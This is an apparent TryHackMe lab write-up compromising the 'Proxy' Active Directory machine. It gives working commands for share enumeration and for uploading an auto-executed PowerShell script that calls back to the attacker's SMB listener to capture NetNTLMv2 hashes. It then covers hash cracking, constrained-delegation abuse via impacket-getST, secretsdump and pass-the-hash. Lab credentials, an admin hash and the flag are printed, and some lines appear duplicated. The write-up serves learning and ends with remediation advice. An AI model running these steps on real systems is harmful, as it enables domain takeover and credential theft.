🚩 TryHackMe: Proxy Room — Writeup

NASRALLAH SALEH (Xiro0x)

5 min read

·

Jul 22, 2026

--

Listen

Share

Press enter or click to view image in full size

• Difficulty: Medium / Advanced (Active Directory)
• Target Domain: ctf.local
• Domain Controller Hostname: DC01

1. Network Discovery & Enumeration

Host Discovery

To identify the IP address of the target machine on the lab subnet:

Bash

fping -agq 10.129.135.0/24

Press enter or click to view image in full size

Discovered Host IP: dynamically assigned lab target IP 10.130.151.111

Port Scanning :Nmap,Rustscan,Naabuu (I prefer doing your own python script )

A full TCP port scan was performed to enumerate active services on the Domain Controller:

Bash

nmap -sT -Pn -p- -T5 -sC 10.129.135.235

Key Discovered Services & Ports:

• 53/tcp: DNS
• 88/tcp: Kerberos
• 135, 139, 445/tcp: RPC, NetBIOS, SMB
• 389, 636, 3268, 3269/tcp: LDAP / LDAPS / Global Catalog
• 3389/tcp: RDP
• Domain Information: DNS Domain Name: ctf.local | NetBIOS Domain Name: CTF | Computer Name: DC01

2. Unauthenticated Share Enumeration & Hash Coercion

to be honest i tried a lot of things before smb shares files , i tried to connect in rpcclient and tried many tools and maping th dns and a lot of things but when the wall hit me. i decided then to check the smb because in the real world scanrios you need to check everything that can help you even with a peny . (Some of the Faileds tries in ur attacks ) :

1 ) i try to create a Null Session in rpcclient but it doesn’t work

Press enter or click to view image in full size

Press enter or click to view image in full size

Here i Start to figure out my papiers and start to enumerate for Active Usernames in The System :

Press enter or click to view image in full size

SMB Share Inspection

Connecting to SMB revealed an unauthenticated public share with one of the creds we got from kerbrute :

Bash

smbclient -L //10.130.151.111 -U 'Guest%'

Accessible Share: IT-Shared

Press enter or click to view image in full size

Hash Coercion via PowerShell Execution Script

Tbh i tried a lot of extenions from (.dll) to (.exe) to (some python libraries) etc . then i decided to Read some Document that help me to dicover another filetype and hyryyyy up i got it (.ps1)

Failed attempts :

Press enter or click to view image in full size

Inspection of web portal files (IT-Portal.html) indicated that an automated backend process continuously monitored the IT-Shared folder and executed uploaded .ps1 PowerShell scripts.

• Creating the Trigger Script (auth.ps1): A PowerShell script was crafted to query an SMB path pointing back to the listener IP:
• PowerShell

# This is the one liner in the PS1 Get-ChildItem \\10.130.79.209\icons\# This is the one liner in the PS1 Get-ChildItem \\10.130.79.209\icons\

• Starting Responder:

• Bash

responder -I tun0 -dwv

• Uploading the Script:
• Bash

smbclient //10.130.151.111/IT-Shared -U 'Guest%' -c "put auth.ps1"

• Capturing NetNTLMv2 Hash: Once the automated task executed auth.ps1, Responder successfully captured the NetNTLMv2 hash for the service account CTF\svc.scanner.

3. Password Cracking & Initial Access

Hash Cracking with John the Ripper

The captured NetNTLMv2 hash was saved to hash2.txt and cracked against the rockyou.txt wordlist:

Bash

john --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt

• Cracked Credentials: svc.scanner : 1summerlove!

4. Lateral Movement & Enumeration Attempts

❌ Attempt 1: Psexec Execution (Failed)

Attempting remote execution via impacket-psexec using the cracked credentials:

Bash

impacket-psexec svc.scanner:'1summerlove!'@10.130.151.111

• Result: Failed. The service account lacked write access to administrative shares (ADMIN$ and C$).

Attempt 2: WinRM Authentication & Share Verification (Failed also at this moment)

Checking WinRM connectivity and SMB share permissions:

Bash

evil-winrm -i 10.130.151.111 -u svc.scanner -p '1summerlove!'

• Result: failed WinRM shell access as ctf\svc.scanner.

5. Active Directory Enumeration & Delegation Exploitation

LDAP & BloodHound Enumeration

To map out privilege escalation paths within the Domain:

Press enter or click to view image in full size

Bash

# LDAP Dump
ldapsearch -H ldap://10.130.151.111 -x -D "svc.scanner@ctf.local" -w '1summerlove!' -b "DC=ctf,DC=local" > ldap_dump.txt

# BloodHound Enumeration
bloodhound-python -u 'svc.scanner' -p '1summerlove!' -d ctf.local -ns 10.130.151.111 -c All

Identification of Constrained Delegation

Analysis revealed that svc.scanner was configured with Kerberos Constrained Delegation with Protocol Transition (msDS-AllowedToDelegateTo) targeting cifs/DC01.ctf.local

Exploitation via S4U2Self / S4U2Proxy

1. Requesting Service Ticket (ST) Impersonating Administrator:

Bash

impacket-getST ctf.local/svc.scanner:'1summerlove!' -spn cifs/DC01.ctf.local -impersonate Administrator -dc-ip 10.130.151.111

2. Setting Ticket Environment Variable:

Bash

export KRB5CCNAME=Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccacheexport KRB5CCNAME=Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache

3. DCSync / SAM Hash Extraction:

Bash

impacket-secretsdump -k -no-pass ctf.local/Administrator@DC01.ctf.local

• Extracted NT Hash (Administrator): dd4592176bb3f58eea4e87a8f0eaf270

6. Root Access & Flag Retrieval

Pass-The-Hash Authentication

Authenticating as Domain Administrator using the extracted NT hash:

Bash

evil-winrm -i 10.130.151.111 -u Administrator -H dd4592176bb3f58eea4e87a8f0eaf270

Retrieving the Flag

PowerShell

Get-ChildItem -Path "C:\Users" -Filter *.txt -Recurse | Select-String -Pattern "THM"

🚩 Administrator Flag: THM{S4U2S3lf_C0nstr41ned_D3l3g4t10n_2_DA}

🛡️ Remediation & Security Practices

• Disable Automated File Execution: Never configure automated scripts to parse and run code directly from publicly writable network shares.
• Restrict Kerberos Delegation: Transition away from unconstrained or protocol-transition constrained delegation toward Resource-Based Constrained Delegation (RBCD) with strict control over service principal names (SPNs).
• Enforce Strong Service Account Passwords: Ensure service accounts use complex, long passwords (25+ characters) or Group Managed Service Accounts (gMSA) to prevent offline dictionary attacks against NetNTLMv2 or Kerberos hashes.